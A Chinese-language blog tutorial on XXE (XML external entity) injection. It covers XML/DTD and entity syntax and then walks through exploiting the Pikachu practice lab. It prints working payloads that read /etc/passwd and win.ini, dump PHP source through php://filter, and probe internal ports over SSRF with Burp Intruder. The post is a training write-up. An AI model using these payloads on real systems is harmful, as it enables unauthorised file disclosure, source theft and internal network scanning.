XXE漏洞

XXE的含义

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。

学***E要先从XML格式,和DTD开始

xml格式

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading
><body>Don't forget the meeting!</body>
</note>

DTD

作用:用来检验xml的格式是否合法

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

格式好看点的就可以写成这样
<!DOCTYPE 根元素 
[
元素声明(也就是ENTITY的声明)
]>

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
实体类别

实体按类型主要分为以下四种:

内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)	

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

参数实体:<!ENTITY % 实体名称 "实体的值">或者参数的外部实体<!ENTITY % 实体名称 SYSTEM "URI">

实例演示:除参数实体外实体+内部实体

#xml版本标识
<?xml version="1.0" encoding="utf-8"?>
#DTD声明验证
<!DOCTYPE a  #**内部的 DOCTYPE 声明**
[    
<!ENTITY name "nMask">
]>
#xml内容
<foo>        
<value>&name;</value> 
</foo>

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a 
[    
<!ENTITY % name SYSTEM "file:///etc/passwd">    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

如下是xml文档和对应的用于检验xml的DTD

image-20241101163958232

总结一下XML格式

例子一:
<?xml version="1.0" encoding="UTF-8"?> #这是声明xml格式的版本,和编码方式
<!DOCTYPE ANY
[ 
<!ENTITY words "Hello XXE !"> # words是个内部实体,也可以理解为一个变量,而Hello XXE!是他的值
							  # <!ENTITY 实体名称 "实体的值">这是内部实体声明的格式
]>
<root>&words;</root>  # &words也就是在引用words,也就是会解析执行

例子二:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe 
[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >   # <!ENTITY 实体名称 SYSTEM "值">这是外部实体的声明
]>
<root><name>&xxe;</name></root>

漏洞利用过程(pikachu)

检测漏洞

实验检测的payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

把它写得明显一点就是下面这样
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY 
[
<!ENTITY words "Hello XXE !">
]>
<root>&words;</root>

payload注入后回显

image-20241101174703450

接下来检测该端点是否支持DTD引用外部实体:

c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

输入payload(以下代码中xxe是外部实体的实体名称):

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

即可查看c:/windows/win.ini的内容如下图

b06da7c87d81ab5eb4ee0549bda9a6ca

接下来想要查看其他系统敏感文件,只要以该文件路径替换掉c:/windows/win.ini就可以了

其它利用点

查看php源代码

查看php源代码一般用php伪协议php://filter

这里构造payload:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/1.php" > ]> 
<foo>&xxe;</foo>

就可以得到base64编码的1.php文件源代码

d5bb32502af67ae26524b95a36f79110

爆破开放端口

在输入框中输入下面两段xml代码,虽然返回结果都是那段“友善”的提示,但是肉眼可见处理速度是不同的

原因是服务器80端口是开放的,而81端口是关闭的

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

那我们就可以burpsuite抓包之后进行爆破了

浏览器中提交上面的代码,并在burpsuite的proxy模块抓到下面的报文,send to intruder

e14cf2e82e3ebb10483d6f67a90d7018

这里为了演示,搞简单点,仅爆破1~100这100个端口,按照下图设置intruder模块

最后点一下response received列,让报文根据这列值的大小排序,可以发现1~100的端口中只有80端口开放

c0da910ab11dedd05e44cb9e0a144d46

深思:如果没有LIBXML_NOENT

服务器上的代码主要是下图49行simplexml_load_string()函数中使用了LIBXML_NOENT参数,导致外部实体可以被解析,才造成了xxe漏洞

74dfe3cf751814be5c649e66ba70d7aa

下面将这个参数删掉,看看服务器解析内部实体和外部实体是否有区别

输入以下payload(内部实体),可以被正确解析:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "仙女" > ]> 
<foo>&xxe;</foo>

e526b56e66f9a1d3168b44685fc0281c

输入以下payload(外部实体),不可以被解析:

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

1285d1151abfec634625953da8d5d43d
文章参考:
1.https://blog.csdn.net/elephantxiang/article/details/113812331
2.https://blog.csdn.net/weixin_44420143/article/details/118721145

posted @ 2024-11-02 16:26  破防剑客  阅读(151)  评论(0)    收藏  举报